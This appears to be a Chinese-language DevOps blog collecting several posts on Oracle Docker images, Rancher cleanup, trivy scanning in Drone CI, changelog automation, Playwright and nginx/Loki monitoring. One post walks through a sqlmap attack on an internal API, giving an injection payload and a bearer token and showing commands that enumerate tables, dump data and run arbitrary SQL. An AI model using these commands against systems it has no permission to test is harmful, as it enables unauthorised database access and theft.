作者: 李镇伟

生成oracle客户端docker镜像的两种玩法

背景

我们的oracle服务端是oracle12g版本,应用程序均由golang或者python编写,运行在k8s 容器里,那我们就需要build一些docker容器来,那如何build呢?可以参考以下我的方法。文章最后有我编写过程中的参考文章,也可以根据参考文章自己创新。

玩法1:参考oracle官方文档制作

1.下载代码https://github.com/oracle/docker-images.git 到本地

2.进入OracleInstantClient/oraclelinux8/21/目录,该目录下有一个原始的dockerfile文件,可以使用该文件build一个基础镜像,例如

docker build --pull -t oracle/instantclient:21 .

使用build出来的这个oracle/instantclient:21镜像可以二次进行dockerfile编辑加入golang或者python。

也可以用这个oracle/instantclient:21来测试一下oracle数据库是否能正常连接。测试连接命令如下:

docker run -ti --rm oracle/instantclient:21 sqlplus 用户名/密码@数据库IP:数据库端口/数据库名

玩法2:从debian开始制作一个镜像

除了上面的方法外,我们还可以从debian开始制作一个包含python的镜像

1.进入oracle客户端下载页https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html

2.下载https://download.oracle.com/otn_software/linux/instantclient/218000/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip到本地,如下图

3.编写Dockerfile,以debian+oracle+python举例

FROM debian:11-slim

LABEL maintainer="zhenwei.li <zhenwei.li@sfere-elec.com>"
RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y -q libaio1 unzip python3 pip
    && pip install cx_Oracle

# 清理垃圾
RUN set -eux \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    && rm -rf /tmp/*
ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive

RUN ln -fs /usr/share/zoneinfo/${TZ} /etc/localtime \
    && echo ${TZ} > /etc/timezone \
    && dpkg-reconfigure --frontend noninteractive tzdata \
    && rm -rf /var/lib/apt/lists/*

COPY instantclient-basic-linux.x64-21.8.0.0.0dbru.zip /opt/oracle/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

WORKDIR /opt/oracle/

RUN unzip instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

RUN sh -c "echo /opt/oracle/instantclient_21_8 > /etc/ld.so.conf.d/oracle-instantclient.conf"

RUN ldconfig

RUN useradd sfere

4. 目录下放Dockerfile和oracle客户端zip包

5. 制作镜像

docker build -t debian-oracle .

6.运行镜像,测试python连接oracle服务端可行,依次输入如下命令

docker run -ti --rm debian-oracle python
import cx_Oracle as cx
con = cx.connect('用户名', '密码', '数据库IP:数据库端口/数据库名')

参考文章

https://github.com/oracle/docker-images/tree/main/OracleInstantClient

https://csiandal.medium.com/install-oracle-instant-client-on-ubuntu-4ffc8fdfda08

SQLmap的一次实战

1.找注入点(方法可以通过owasp zap去扫描,参考https://www.yinyubo.com/?p=79


2.找到注入点后,将url记下来,例如下图


3.在linux系统里下载sqlmap工具和python

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
apt install python -y

4.去被测网站上获取登录用的token。这里的Authorization信息用在sqlmap的head参数里


5.使用sqlmap工具获得当前数据库的schema

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  --current-db --answers="Y"

根据上图返回的信息,我们可以得到数据库的schema是public


6.获取到了数据库名字之后,我们再去获取数据库的表

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public --tables --answers="Y"

7.这里我们可以看到已经获取到了数据库的所有的表了,我们任意选一张表,去获取字段

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T migrations --dump --answers="Y"

8.抓到列名之后,我们根据列名,再去获取数据,比如我获取dirty 和version字段的数据

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T schema_migrations -C version,id --dump --answers="Y"

9.到这里基本上就结束了,如果还想往里面执行SQL脚本的话(增删改),可以使用–sql-query语句,我这个是查询时间

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --sql-query="select now();" --answers="Y"

强制删除rancher里托管的K8S集群

背景

有时候,我们会出现,虚拟机先删除了,然后才想起来rancher里还有个集群没删掉,这个时候,再通过rancher的界面去删除托管集群,往往会一直卡在“当前集群Removing中” 那么这种情况下,该如何处理呢?

我翻到了这么一个答案:https://forums.rancher.com/t/unable-to-remove-cluster/13032/9

让我们一起来实际操作一下吧

1.找到卡住集群的名字

1.点击待删除集群的名字,进入集群的详情页,复制URL中C/后面的字符,例如我的集群是c-9rhjh

2.登录部署rancher的服务器,找到卡住集群

输入命令kubectl get clusters.management.cattle.io 就可以看到我们卡住的集群

3,通过kubectl edit 功能,设置finalizers字段为[]

输入 kubectl edit clusters.management.cattle.io c-9rhjh

保存之后,回到rancher的GUI界面,你会发现此集群已经消失

trivy与droneCI结合,扫描容器安全

trivy是什么?

一款简单的安全扫描工具,扫描范围如下:

  • OS packages and software dependencies in use (SBOM)
  • Known vulnerabilities (CVEs)
  • IaC misconfigurations
  • Sensitive information and secrets

我们选择它的主要原因是,1.它能以docker的方式运行,通过把病毒库缓存挂载在NFS中,避免每次CI都去拉取病毒库。2.它的扫描速度快,10秒钟之内能结束战斗。3.它的扫描对象可以是容器镜像,直接扫描我们业务代码生成的镜像。

4.当扫描出安全漏洞时,我们可以更新基础镜像,一次性解决安全问题,并且再次运行trivy,快速检查。


droneCI里怎么使用trivy呢?

1.每晚定时更新trivy数据库,避开trivy每次自动更新,因为默认trivy上游仓库是6小时更新一次。如果没有自动更新,很有可能巧了,就刚好白天有次drone流水线业务代码提交遇上了trivy,那就花时间久了

附上drone流水线-trivy仓库的参考代码。把更新好的数据库,挂载到一个nfs缓存里

---
kind: pipeline
type: kubernetes
name: download trivy db
steps:
  - name: trivy download db
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --download-db-only"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - cron
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

2.以python仓库为例子,我们在生成镜像后,通过trivy images –exit-code 1 {镜像名称} 功能检查,如果有安全漏洞,会返回exit-code 1流水线结束

---
kind: pipeline
type: kubernetes
name: push
steps:
  - name: buildimages
    image: gcr.io/kaniko-project/executor:v1.8.1
    command: [此处省去build 镜像命令]
  - name: trivy
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --skip-db-update --security-checks vuln --exit-code 1 python:latest"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - push
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

流水线效果

Dbeaver添加IOTDB驱动

背景

因为IOTDB官网是有说明的,但是官网的方法是从源码编译,我这边写一个简单点的方法

下面附上官网链接(也可以参考)

https://iotdb.apache.org/UserGuide/Master/Ecosystem%20Integration/DBeaver.html


下载apache-iotdb-all-in-one

https://iotdb.apache.org/Download/ 进入官网的下载页面,下载与iot-db服务端版本对应的all-in-one

解压下载文件

Dbeaver里新建驱动管理器

依次点击窗口菜单的【数据库】->【驱动管理器】->【新建】

填写iotdb的连接信息,测试连接,可以确认连接成功
JDBC URL: jdbc:iotdb://127.0.0.1:6667/
Username: root
Password: root

通过工具来规范代码提交与发布日志

背景

1.因为我们的现场版本发布是比较频繁的,关于本次发布为了解决什么问题,修复了什么BUG。这个全靠项目经理自觉,并不是每次发布都有写,也不一定每次都能写的全,我想有一个能兜底的机制。

2.这个时候我想起了github发布版本时有一个“auto-generate release notes”功能,它通过 git logs 命令,将两次版本变化之间的git message信息导出成markdown格式的文档,如果我们的gitea有这样一个工具,那就太棒了.

3.在gitea官网和github上进行了查阅,发现gitea目前不打算抄这个功能,未来也不会做,而我们的git服务端用的是gitea,于是我想通过drone CI流水线来实现这个功能

4.通过查阅,我发现nodejs有一个很火的工具https://github.com/conventional-changelog/standard-version 能够完成这件事,只要我们开发人员提交的 git message是符合https://www.conventionalcommits.org/https://semver.org/规范的即可

5.根据这个规范,找到vscode里有一个插件”Conventional Commits”工具是非常契合的

6.结局是我们的开发人员,只需要在vscode上安装好这个”Conventional Commits”工具,并且根据工具提示来提交代码,后续就可以自动生成changelog了,从而达到标准化“代码提交”和“发布日志”的目的

效果图

下面这个Changelog由发布之后的流水线自动生成

开发人员做什么

在vscode里下载该插件,插件扩展ID vivaxy.vscode-conventional-commits

提交代码的时候,按照工具提示一路选择即可

运维人员做什么

根据https://github.com/conventional-changelog/standard-version库来编写一个简单的流水线工具

这里我用的代码是python,流水线运行环境是DroneCI,git服务端是gitea

废话不多说,下面直接上代码,可以通过 docker build命令

docker build -t drone-changelog-plugin:1.0.1 .

去制作drone的流水线镜像

main.py

import os
import shutil

import requests


def search_tag_info(git_url,token, repo):
    '''
    搜索git上的tag信息
    :param git_url: git 的地址
    :param token: git 的access token
    :param repo: git 待查询的git仓库信息
    :return: tag信息集合
    '''
    url = "https://"+git_url+"/api/v1/repos/" + repo + "/releases"
    headers = {'accept': 'application/json',
               'Authorization': 'token ' + token,
               'Content-Type': 'application/json'
               }
    response = requests.get(url, headers=headers)
    tag_list = response.json()
    return tag_list


def modify_tag_body(git_url,token, repo, tag_id, body):
    '''
    修改git仓库的tag里的内容
    :param git_url: git 的地址
    :param token: git 的access token
    :param repo: git 待查询的git仓库信息
    :param tag_id: git tag的id信息
    :param body: 需要修改的内容,一般是changelog.md文件
    :return:
    '''
    url = "https://"+git_url+"/api/v1/repos/" + repo + "/releases/" + str(tag_id)
    headers = {'accept': 'application/json',
               'Authorization': 'token ' + token,
               'Content-Type': 'application/json'
               }
    body = {
        "body": body
    }
    response = requests.patch(url, json=body, headers=headers)


if __name__ == '__main__':
    print(os.environ)
    tag = os.environ["DRONE_TAG"]
    branch = os.environ["DRONE_REPO_BRANCH"]
    username = os.environ["DRONE_NETRC_USERNAME"]
    password = os.environ["DRONE_NETRC_PASSWORD"]
    git_repo = os.environ["DRONE_REPO"]
    git_token = os.environ["PLUGIN_TOKEN"]
    src_file = "/lzw/.versionrc"
    dst_foleder = os.environ["DRONE_WORKSPACE"]
    git_url= os.environ["PLUGIN_GIT_SERVER"]
    shutil.copy(src_file, dst_foleder)

    # 获取当前仓库里所有的tag信息
    tag_info_list = search_tag_info(git_url,git_token, git_repo)
    # 获取最新的一个tag
    now_tag = tag_info_list[0]
    # 获取所有的tag信息,这个地方是因为standard-version的特性,
    # 要获取所有的tag信息,再删掉当前的tag信息,
    # 再使用standard-version 重新生成一个tag信息
    os.system("git remote set-url origin https://'" + username + "':'" + password + "'@"+git_url+"/" + git_repo)
    os.system("git fetch --all")
    os.system("git tag -d " + tag)
    cmd = 'standard-version --tag-prefix "" --release-as ' + tag
    print(cmd)
    os.system(cmd)
    # standard-version命令会产生一个CHANGELOG.md文件
    with open('CHANGELOG.md', encoding='utf-8') as f:
        line = f.read()
    print("tag len is:" + str(len(tag_info_list)))
    # 判断一下目前有几个tag,分割保留最新的git tag 变更信息
    if len(tag_info_list) > 1:
        pre = tag_info_list[1]
        list = line.split(" " + pre['tag_name'] + " ")
        # print(list[0])
        now_content = list[0]
    else:
        now_content = line
    # 把CHANGELOG.md中本次变更的传到git的tag信息里
    modify_tag_body(git_url,git_token, git_repo, now_tag['id'], now_content)

Dockerfile

FROM python:3.9-buster
LABEL maintainer="357244849@qq.com"

RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y nodejs npm
ENV NODE_PATH="/usr/lib/node_modules"
ENV LANG=C.UTF-8 PYTHONUNBUFFERED=1
RUN npm i -g standard-version
WORKDIR /lzw
ADD . /lzw
RUN pip install -r /lzw/requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
CMD ["python3","/lzw/main.py"]

requirements.txt

requests

.versionrc

{
  "types": [
    {"type": "feat","section": "Features"},
    {"type": "fix","section": "Bug Fixes"},
    {"type": "docs","section": "Documentation" },
    {"type": "style","section": "Styling" },
    {"type": "refactor","section": "Refactors" },
    {"type": "perf","section": "Performance" },
    {"type": "test","section": "Tests" },
    {"type": "build","section": "Build System" },
    {"type": "ci","section": "CI" },
    {"type": "chore","section": "Chore","hidden":true },
    {"type": "revert","section": "Reverts" }
  ]
}

如何嵌入到DroneCI流水线呢

在drone.yml文件里嵌入如下yml即可

---
kind: pipeline
type: kubernetes
name: tag
steps:
  - name: generator change log
    image: drone-changelog-plugin:1.0.1
    settings:
      token: XXXXXX
      git_url: XXXXXX
trigger:
  event:
    - tag

playwright拖拽元素和获取元素集合

背景

因为这两个功能经常用,网上又很少有直接可以抄的代码,所以我写个文章记录一下

元素向下拖拽100个px

拖拽演示

解说:先定位到要拖拽的元素,然后鼠标移动到元素的中心点,接着鼠标选中,鼠标移动,鼠标放下

src_elem = page.locator("xpath=元素定位")
box = src_elem.bounding_box(timeout=60000)
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
page.mouse.down()
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2 + 100)
page.mouse.up()

元素拖拽到另外一个元素上

这种方法也有用,比如把一个按钮丢到另外一个画板里

src_elem = page.locator("xpath=元素原来的")
src_elem.drag_to(page.locator("xpath=元素新的位置"))

获取一批元素集合,然后截图

我们的页面上有一批图片,以瀑布流的方式展示出来,他们的css都是相同的,我们需要给每一个元素截图,并且截图之后再鼠标向下滚动一下

elements = page.query_selector_all(".search-result__item")
number = 1
for item in elements:
    number = number + 1
    page.mouse.wheel(0, 100)
    item.screenshot(path="image/"+str(number) + ".png")
    time.sleep(1)

使用loki+promtail+grafana架构分析nginx日志

0.前提

1.已经阅读过这篇文章https://www.yinyubo.com/2022/03/14/nginx%E5%8A%A8%E6%80%81%E5%A2%9E%E5%8A%A0%E6%A8%A1%E5%9D%97ngx_http_geoip2_module

并且在nginx里已经安装好了geoip2

2.电脑上安装好了docker和docker-compose

1.调整nginx的访问日志格式

编辑/etc/nginx/nginx.conf,内容参考如下

...
load_module modules/ngx_http_geoip2_module.so;
...
http {
    include       /etc/nginx/mime.types;
    geoip2 /home/lzw/GeoLite2-Country_20220222/GeoLite2-Country.mmdb {
        auto_reload 5m;
        $geoip2_metadata_country_build metadata build_epoch;
        $geoip2_data_country_code default=CN source=$remote_addr country iso_code;
        $geoip2_data_country_name country names en;
    }
    geoip2 /home/lzw/GeoLite2-City_20220222/GeoLite2-City.mmdb {
        $geoip2_data_city_name default=Nanjing city names en;
 
    }
    vhost_traffic_status_zone;
    vhost_traffic_status_filter_by_set_key $geoip2_data_country_code country::*;
    log_format json_analytics escape=json '{'
                            '"msec": "$msec", ' # request unixtime in seconds with a milliseconds resolution
                            '"connection": "$connection", ' # connection serial number
                            '"connection_requests": "$connection_requests", ' # number of requests made in connection
                    '"pid": "$pid", ' # process pid
                    '"request_id": "$request_id", ' # the unique request id
                    '"request_length": "$request_length", ' # request length (including headers and body)
                    '"remote_addr": "$remote_addr", ' # client IP
                    '"remote_user": "$remote_user", ' # client HTTP username
                    '"remote_port": "$remote_port", ' # client port
                    '"time_local": "$time_local", '
                    '"time_iso8601": "$time_iso8601", ' # local time in the ISO 8601 standard format
                    '"request": "$request", ' # full path no arguments if the request
                    '"request_uri": "$request_uri", ' # full path and arguments if the request
                    '"args": "$args", ' # args
                    '"status": "$status", ' # response status code
                    '"body_bytes_sent": "$body_bytes_sent", ' # the number of body bytes exclude headers sent to a client
                    '"bytes_sent": "$bytes_sent", ' # the number of bytes sent to a client
                    '"http_referer": "$http_referer", ' # HTTP referer
                    '"http_user_agent": "$http_user_agent", ' # user agent
                    '"http_x_forwarded_for": "$http_x_forwarded_for", ' # http_x_forwarded_for
                    '"http_host": "$http_host", ' # the request Host: header
                    '"server_name": "$server_name", ' # the name of the vhost serving the request
                    '"request_time": "$request_time", ' # request processing time in seconds with msec resolution
                    '"upstream": "$upstream_addr", ' # upstream backend server for proxied requests
                    '"upstream_connect_time": "$upstream_connect_time", ' # upstream handshake time incl. TLS
                    '"upstream_header_time": "$upstream_header_time", ' # time spent receiving upstream headers
                    '"upstream_response_time": "$upstream_response_time", ' # time spend receiving upstream body
                    '"upstream_response_length": "$upstream_response_length", ' # upstream response length
                    '"upstream_cache_status": "$upstream_cache_status", ' # cache HIT/MISS where applicable
                    '"ssl_protocol": "$ssl_protocol", ' # TLS protocol
                    '"ssl_cipher": "$ssl_cipher", ' # TLS cipher
                    '"scheme": "$scheme", ' # http or https
                    '"request_method": "$request_method", ' # request method
                    '"server_protocol": "$server_protocol", ' # request protocol, like HTTP/1.1 or HTTP/2.0
                    '"pipe": "$pipe", ' # "p" if request was pipelined, "." otherwise
                    '"gzip_ratio": "$gzip_ratio", '
                    '"http_cf_ray": "$http_cf_ray",'
                    '"geoip_country_code": "$geoip2_data_country_code"'
                    '}';
    access_log   /var/log/nginx/json_access.log json_analytics;

2.安装loki+promtail+grafana

1.编写docker-compose文件,内容如下

version: "3"
 
networks:
  loki:
 
services:
  loki:
    image: grafana/loki:2.4.1
    ports:
      - "3100:3100"
    volumes:
      - /home/lzw/loki/loki-conf:/etc/loki
    command: -config.file=/etc/loki/local-config.yaml
    networks:
      - loki
 
  promtail:
    image: grafana/promtail:2.4.1
    volumes:
      - /home/lzw/loki/promtail-conf:/etc/promtail
      - /var/log/nginx:/var/log/nginx
    command: -config.file=/etc/promtail/config.yml
    networks:
      - loki
 
  grafana:
    image: grafana/grafana:latest
    volumes:
      - /home/lzw/loki/grafana:/var/lib/grafana
    ports:
      - "3000:3000"
    networks:
      - loki

2,编写loki-conf/local-config.yaml 配置文件

auth_enabled: false
 
server:
  http_listen_port: 3100
 
common:
  path_prefix: /loki
  storage:
    filesystem:
      chunks_directory: /loki/chunks
      rules_directory: /loki/rules
  replication_factor: 1
  ring:
    instance_addr: 127.0.0.1
    kvstore:
      store: inmemory
 
schema_config:
  configs:
    - from: 2020-10-24
      store: boltdb-shipper
      object_store: filesystem
      schema: v11
      index:
        prefix: index_
        period: 24h
 
ruler:
  alertmanager_url: http://localhost:9093

3.编写promtail-conf/config.yml文件

server:
  http_listen_port: 9080
  grpc_listen_port: 0
 
positions:
  filename: /tmp/positions.yaml
 
clients:
  - url: http://loki:3100/loki/api/v1/push
 
scrape_configs:
- job_name: nginx
  static_configs:
  - targets:
      - localhost
    labels:
      job: nginx
      agent: promtail
      __path__: /var/log/nginx/json_access.log

4.准备grafana挂载目录

docker run -d -p 3002:3000 --name=grafana2 grafana/grafana:latest
docker cp grafana2:/var/lib/grafana /home/lzw/loki/.
docker rm -f grafana2
sudo chown -R 472 /home/lzw/loki/grafana

5.运行docker-compose

docker-compose -f docker-compose.yaml up -d

运行完成后,3000端口可以访问grafana、3100端口访问loki。nginx的日志文件通过volume的方式挂载进promtail

3.在grafana里配置报表

1.配置数据源http://loki:3100

2.导入官网模板https://grafana.com/grafana/dashboards/12559

3.导入后的效果应该和下图类似

nginx动态增加模块ngx_http_geoip2_module

0.前提:

1.已经阅读过我的另一篇动态增加nginx-module-vts模块的文章,服务器里已经安装了nginx和其源码。https://www.yinyubo.com/2022/03/14/apt%e6%96%b9%e5%bc%8f%e5%ae%89%e8%a3%85nginx%e4%bb%a5%e5%8f%8a%e5%8a%a8%e6%80%81%e5%a2%9e%e5%8a%a0%e6%a8%a1%e5%9d%97nginx-module-vts/

2.已经去GeoLite2的官网下载了GeoLite2-Country.mmdb文件,这个网站需要注册才能下载

3.可以参考的github网站有

https://github.com/leev/ngx_http_geoip2_module

https://github.com/maxmind/libmaxminddb

1.安装libmaxminddb


sudo add-apt-repository ppa:maxmind/ppa
sudo apt update
sudo apt install libmaxminddb0 libmaxminddb-dev mmdb-bin

2.下载ngx_http_geoip2_module源码以及动态编译


# 下载ngx_http_geoip2_module源码
git clone https://github.com/leev/ngx_http_geoip2_module.git
#cd nginx源码目录,例如下面的命令
cd nginx-1.20.2/
# 进行动态编译
./configure --with-compat --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --add-dynamic-module=../ngx_http_geoip2_module --with-stream
make modules
cp objs/ngx_http_geoip2_module.so /etc/nginx/modules/.

3.在nginx配置文件里引入geoip2

这里我以在nginx-module-vts里加入geoip2地区解析为例,修改nginx.conf

...
load_module modules/ngx_http_vhost_traffic_status_module.so;
load_module modules/ngx_http_geoip2_module.so;
...
http {
    ...
    geoip2 /home/lzw/GeoLite2-Country_20220222/GeoLite2-Country.mmdb {
        auto_reload 5m;
        $geoip2_metadata_country_build metadata build_epoch;
        $geoip2_data_country_code default=CN source=$remote_addr country iso_code;
        $geoip2_data_country_name country names es;
    }
    geoip2 /home/lzw/GeoLite2-City_20220222/GeoLite2-City.mmdb {
        $geoip2_data_city_name default=Nanjing city names en;
        $geoip2_data_latitude location latitude;
        $geoip2_data_longitude location longitude;
        $geoip2_data_postalcode postal code;
    }
    default_type  application/octet-stream;
    vhost_traffic_status_zone;
    vhost_traffic_status_filter_by_set_key $geoip2_data_country_code country::*;
    vhost_traffic_status_filter_by_set_key $geoip2_data_city_name city::*;
    vhost_traffic_status_filter_by_set_key "$geoip2_data_latitude,$geoip2_data_longitude" latlong::*;
    vhost_traffic_status_filter_by_set_key $geoip2_data_longitude longitude::*;
    vhost_traffic_status_filter_by_set_key $geoip2_data_latitude latitude::*;
    vhost_traffic_status_filter_by_set_key $geoip2_data_postalcode postal::*;
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
 
    access_log  /var/log/nginx/access.log  main;
    ...
}

在每一个被监控的conf文件里 添加vhost_traffic_status_filter_by_set_key 信息,例如下面我添加了6个筛选项


server {
    listen       5320;
    server_name  localhost;    
    vhost_traffic_status_filter_by_set_key $geoip2_data_country_code country::$server_name;
    vhost_traffic_status_filter_by_set_key $geoip2_data_city_name city::$server_name;
    vhost_traffic_status_filter_by_set_key "$geoip2_data_latitude,$geoip2_data_longitude" latlong::$server_name;
    vhost_traffic_status_filter_by_set_key $geoip2_data_longitude longitude::$server_name;
    vhost_traffic_status_filter_by_set_key $geoip2_data_latitude latitude::$server_name;
    vhost_traffic_status_filter_by_set_key $geoip2_data_postalcode postal::$server_name;  
 
    location /status {
        vhost_traffic_status_display;
        vhost_traffic_status_display_format html;
        root   /usr/share/nginx/html;
        index  index.html index.htm;
    }
}

apt方式安装nginx以及动态增加模块nginx-module-vts

0.背景介绍

因为有很多人是先通过apt的访问安装了稳定版的nginx。后面突然要增加第三方模块如geoip或者nginx-module-vts等别的模块,这个时候就可以采用本文的方式去动态增加模块。

1.安装ubuntu(如果已经安装了,可以跳过)

# 安装必要工具
sudo apt install curl gnupg2 ca-certificates lsb-release ubuntu-keyring

# 导入官方Nginx签名密钥
curl https://nginx.org/keys/nginx_signing.key | gpg --dearmor \
    | sudo tee /usr/share/keyrings/nginx-archive-keyring.gpg >/dev/null

# 验证下载的文件中包含正确的密钥
gpg --dry-run --quiet --import --import-options import-show /usr/share/keyrings/nginx-archive-keyring.gpg

# 设置稳定版本的nginx仓库
echo "deb [signed-by=/usr/share/keyrings/nginx-archive-keyring.gpg] \
http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" \
    | sudo tee /etc/apt/sources.list.d/nginx.list

# 通过apt安装nginx
sudo apt update
sudo apt install nginx

2.确认安装的nginx版本信息

输入 nginx -V 检查回显


nginx version: nginx/1.20.2
built by gcc 9.3.0 (Ubuntu 9.3.0-10ubuntu2)
built with OpenSSL 1.1.1f  31 Mar 2020
TLS SNI support enabled
configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-compat --with-file-aio --with-threads --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_realip_module --with-stream_ssl_module --with-stream_ssl_preread_module --with-cc-opt='-g -O2 -fdebug-prefix-map=/data/builder/debuild/nginx-1.20.2/debian/debuild-base/nginx-1.20.2=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie'

通过上述回显,我们可以看到nginx的配置文件路径和程序路径如下。这个路径用在后面的动态编译里

--prefix=/etc/nginx --sbin-path=/usr/sbin/nginx

3.下载nginx源代码到本地

因为我们之前的nginx是apt安装的,本地没有源码,而动态编译模块需要源码,所以这里下载源码到本地

进入http://nginx.org/en/download.html,下载与我们上面apt安装的nginx同版本的tar.gz包,例如这里我们装的是1.20.2版本

解压nginx源代码
tar -zxvf nginx-1.20.2.tar.gz

4.下载第三方模块nginx-module-vts到本地

git clone git://github.com/vozlt/nginx-module-vts.git

下载完成后,两个目录同级,例如下面的目录

目录
|---nginx-1.20.2
|---nginx-module-vts

5.进行编译

安装编译所需要的lib库

sudo apt install g++ gcc libpcre3 libpcre3-dev zlib1g-dev openssl libssl-dev make

进入nginx-1.20.2目录

cd nginx-1.20.2

使用configure工具进行编译。编译完成后会在objs目录下生成文件ngx_http_vhost_traffic_status_module.so,把这个ngx_http_vhost_traffic_status_module.so拷贝到/etc/nginx/modules/目录下

./configure --with-compat --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --add-dynamic-module=../nginx-module-vts
make modules
sudo cp objs/ngx_http_vhost_traffic_status_module.so /etc/nginx/modules/.

6.在nginx里加载第三方模块nginx-module-vts

编辑nginx.conf文件.

在文件顶部添加load_module modules/ngx_http_vhost_traffic_status_module.so;

在http下添加vhost_traffic_status_zone;

cd /etc/nginx/
sudo nano nginx.conf
#  以下是文件内容
...
load_module modules/ngx_http_vhost_traffic_status_module.so;
...
http {
    vhost_traffic_status_zone;
}

在/etc/nginx/conf.d目录下增加一个monitor.conf。主要添加vhost_traffic_status_display;和vhost_traffic_status_display_format html; 参考如下

server {
    listen       5320;
    server_name  localhost;
 
    #access_log  /var/log/nginx/host.access.log  main;
 
    location /status {
        vhost_traffic_status_display;
        vhost_traffic_status_display_format html;
        root   /usr/share/nginx/html;
        index  index.html index.htm;
    }
}

添加完成后,输入sudo systemctl restart nginx重启nginx

访问monitor.conf里对应的端口  http://服务器IP:5320/ 即可看到流量信息